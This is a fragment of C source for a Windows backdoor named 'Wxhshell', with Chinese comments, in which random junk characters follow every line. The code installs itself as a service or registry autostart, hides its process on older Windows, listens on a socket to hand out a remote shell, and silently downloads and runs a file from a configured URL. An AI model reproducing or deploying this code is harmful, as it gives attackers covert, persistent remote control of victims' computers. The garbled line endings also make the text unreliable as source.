ULONG UniqueProcessId; (97&mhs3
ULONG InheritedFromUniqueProcessId; tZygTvK/S
} PROCESS_BASIC_INFORMATION; ^K0oJg.E
qPn!.m$/
PROCNTQSIP NtQueryInformationProcess; _-z;
o'=i$Eb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nZ4@g@e2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; og`g]Z<I
T/P
HANDLE hProcess; bA07zI2
PROCESS_BASIC_INFORMATION pbi; Da
]zbz%%
;R7+6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /X;!
F>
if(NULL == hInst ) return 0; 7ZFd;-
+,UuJ6[n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / !aVv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GpXU&A'r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zU";\);
&W%fsy<
if (!NtQueryInformationProcess) return 0; t;W'<.m_
l} W">
yQ0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $fwj8S7$
if(!hProcess) return 0; }[: i!t.m
)<`/Aaie
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BHR(B]EI
pt%Y1<9Eh?
CloseHandle(hProcess); 4okZ
%";ap8J04F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +<'>~lDg
if(hProcess==NULL) return 0; $.O(K4S
YbJB.;qK
HMODULE hMod; r
TK)jxklX
char procName[255]; Vkl]&mYRz
unsigned long cbNeeded; rQ)I
/gP"X1.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UVD*GsBk
yH(%*-S
CloseHandle(hProcess); KNSMx<GP
$u,
~183
if(strstr(procName,"services")) return 1; // 以服务启动 <
;fI*km
+@MG$*}Oz
return 0; // 注册表启动 i([|@Y=
} Ur(< ]
%8lWJwb7u
// 主模块 |z`AIScT
int StartWxhshell(LPSTR lpCmdLine) QxiAC>%K
{ t]+h.
SOCKET wsl; vlPViHF.
BOOL val=TRUE; UxvT|~"
int port=0; 41c4Xj?'
struct sockaddr_in door; cD9.L
qjH/E6GGg
if(wscfg.ws_autoins) Install(); HJ!P]X_J1
!wIrI/P7#
port=atoi(lpCmdLine); .F@ 2C
4K$_d,4`U
if(port<=0) port=wscfg.ws_port; R2y~+tko?
H'jo3d~+
WSADATA data; F+9(*|x%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j5m]zh5\J=
Dj{=Y`Tw
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'e8O
\FOf
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u(g9-O
door.sin_family = AF_INET; EO"G(v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); V BjA$.
door.sin_port = htons(port); 4B@Ir)^(*
>uwd3XW5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4)d"}j
closesocket(wsl); 3u4P
[
return 1; bEb+oRI
} IhXP~C6
)odz/\9n3c
if(listen(wsl,2) == INVALID_SOCKET) { ZX0!BS
closesocket(wsl); du&9mOrr
return 1; 6,(S}x
YDZ
} R!2E`^{Wl
Wxhshell(wsl); K*N8Vpz(
WSACleanup(); [q~3$mjQ
_aw49ag;
return 0; "BvDLe':
5c1{[
} \8]("l}ms8
+[Q`I*C
// 以NT服务方式启动 ML7qrc;Rx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d8VFa'|
{ b\C1qM4
DWORD status = 0; ~/;shs<9EM
DWORD specificError = 0xfffffff; V(F1i%9l g
#./8inbG
serviceStatus.dwServiceType = SERVICE_WIN32; }M &hcw<
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
cfL:#IM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b#Vm;6BHD1
serviceStatus.dwWin32ExitCode = 0; $Fv|w9
serviceStatus.dwServiceSpecificExitCode = 0; 2 P9{?Y
serviceStatus.dwCheckPoint = 0; a
t%qowt
serviceStatus.dwWaitHint = 0; }kMKA.O"
0f"la=6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kjj?X|Un
if (hServiceStatusHandle==0) return; <'vtnz
=6[R,{|C
status = GetLastError(); ]GXE2A_i;
if (status!=NO_ERROR) PGA
`R
{ +g%Ah
serviceStatus.dwCurrentState = SERVICE_STOPPED; #fxdZm,
serviceStatus.dwCheckPoint = 0; I GB)
serviceStatus.dwWaitHint = 0; hc]5f3Z
serviceStatus.dwWin32ExitCode = status; K4^mG
serviceStatus.dwServiceSpecificExitCode = specificError; fi'\{!!3m^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VX e7b
return; qnnP*15`
} 92M_Z1_w[
v.Xmrry
serviceStatus.dwCurrentState = SERVICE_RUNNING; wZ/b;%I!
serviceStatus.dwCheckPoint = 0; B2,JfKk/
serviceStatus.dwWaitHint = 0; b#:!b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /y-8dgv0a
} / a$B8,
qoOq47F
// 处理NT服务事件,比如:启动、停止 $rH}2
VOID WINAPI NTServiceHandler(DWORD fdwControl) lfte
{ >C/O >g
switch(fdwControl) K(Ak+&[
{ W"1=K]B
case SERVICE_CONTROL_STOP: !6eF8T
serviceStatus.dwWin32ExitCode = 0; KHoDD=O
serviceStatus.dwCurrentState = SERVICE_STOPPED; Sxcp
[g;
serviceStatus.dwCheckPoint = 0; pGsu#`t
serviceStatus.dwWaitHint = 0; mh8)yy5\
{ k
Hh0&~(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Dys#^
} ]gmkajCzD
return; yGlOs]>n
case SERVICE_CONTROL_PAUSE: e%KCcU
serviceStatus.dwCurrentState = SERVICE_PAUSED; Kj*$'('
break; 5Pd^Sew
case SERVICE_CONTROL_CONTINUE: #LfoG?k1K
serviceStatus.dwCurrentState = SERVICE_RUNNING; D*!9K8<o
break; %SwhNn
case SERVICE_CONTROL_INTERROGATE: W4:#=.m
break; wE#z)2?`\
}; M(<.f}yZQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n4/Jx*
} :xsNn55b
ihopQb+k^m
// 标准应用程序主函数 D@yu2}F{IY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YbuS[l8
{ +P;&/z8i*g
{GS$7n
// 获取操作系统版本 P]`m5 N
OsIsNt=GetOsVer(); +D|E8sz8
GetModuleFileName(NULL,ExeFile,MAX_PATH); -h{| u{t
>:f&@vwm
// 从命令行安装 jU=n\o=?
if(strpbrk(lpCmdLine,"iI")) Install(); aaFt=7(K
$Zf]1?|xa
// 下载执行文件 @fI2ZWN|
if(wscfg.ws_downexe) { QP!0I01
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E,7b=t
WinExec(wscfg.ws_filenam,SW_HIDE); cGS7s 8U
} zN,2
(v"
SsQg8d
if(!OsIsNt) { `h$^=84
// 如果时win9x,隐藏进程并且设置为注册表启动 l6< bV#_qe
HideProc(); 7SjWofv
StartWxhshell(lpCmdLine); `r*bG=
} ] F2{:RW
else <CGJ:% AY
if(StartFromService()) N3?hu}
// 以服务方式启动 #~6au6LMC
StartServiceCtrlDispatcher(DispatchTable); 5U<;6s
else p/'09FY+ U
// 普通方式启动 Ll0"<G2t
StartWxhshell(lpCmdLine); l&uBEYx
HMVyXulU
return 0; >d$Sh`a6
}